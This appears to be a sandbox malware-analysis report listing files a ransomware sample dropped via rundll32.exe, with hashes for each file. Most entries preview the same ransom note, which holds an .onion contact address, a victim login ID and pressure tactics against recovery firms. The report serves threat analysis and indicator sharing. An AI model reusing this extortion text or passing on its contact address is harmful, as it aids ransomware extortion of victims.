Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Packages\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Packages\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Packages\Microsoft.MixedReality.Portal_8wekyb3d8bbwe\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Packages\Microsoft.SkypeApp_kzf8qxf38zg5c\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Packages\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\SoftwareDistribution\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\USOShared\Logs\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\USOShared\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\WindowsHolographicDevices\SpatialStore\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\WindowsHolographicDevices\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\_curlrc

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.815113195484237
Encrypted:	false
SSDEEP:
MD5:	35759B3D9C8E307E82D7021E4806194D
SHA1:	04ED7621360DBB4DDE3BD479E4A90B3938BD9606
SHA-256:	7CDCAE76E7007437318C252E3AC2CB24708D3CBB9C69F7CEE0791C56DDE7C8F4
SHA-512:	D6558E7633C944C105B849A677EE2E515A2343C04FD193D5ECB328A9572609D3C901D8627E2D5443A93480816E5735D8A28D8140C42FCA137A23E7CE3CAC895D
Malicious:	false
Preview:	......O...n..r....0....9C...!.S!.&x,Qj.6...z\|q...Yi.z...;.#...0..Cv.....tN.f...rB.0.....TS..C<..)...%........M.P.y..a0.1!.z..{....!.r..b.-I!........25..."...".!.....xB....B........v..8.$...\|..y...a.....F................................................................................................29yp10v5m8k.

C:\ProgramData\_curlrc.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.815113195484237
Encrypted:	false
SSDEEP:
MD5:	35759B3D9C8E307E82D7021E4806194D
SHA1:	04ED7621360DBB4DDE3BD479E4A90B3938BD9606
SHA-256:	7CDCAE76E7007437318C252E3AC2CB24708D3CBB9C69F7CEE0791C56DDE7C8F4
SHA-512:	D6558E7633C944C105B849A677EE2E515A2343C04FD193D5ECB328A9572609D3C901D8627E2D5443A93480816E5735D8A28D8140C42FCA137A23E7CE3CAC895D
Malicious:	false
Preview:	......O...n..r....0....9C...!.S!.&x,Qj.6...z\|q...Yi.z...;.#...0..Cv.....tN.f...rB.0.....TS..C<..)...%........M.P.y..a0.1!.z..{....!.r..b.-I!........25..."...".!.....xB....B........v..8.$...\|..y...a.....F................................................................................................29yp10v5m8k.

C:\ProgramData\dbg\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\regid.1991-06.com.microsoft\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1313
Entropy (8bit):	7.582619176401083
Encrypted:	false
SSDEEP:
MD5:	657CA2FC7965DFE20F211474C1E75A3E
SHA1:	6988E781D4AE427551064965AE79B231EC103925
SHA-256:	6A1EB237901E668AB52AF97FB3737C8988A998EDA81C076B833E39A5136959EA
SHA-512:	5EEC03740D4D014EF09FF78854B7040E291EA4B47AC59A0529CF6185D8E772DA41252773962DC99BA189F6DA3BBBC3B382B83CE11A7BEDB568FDCDD8446AC504
Malicious:	false
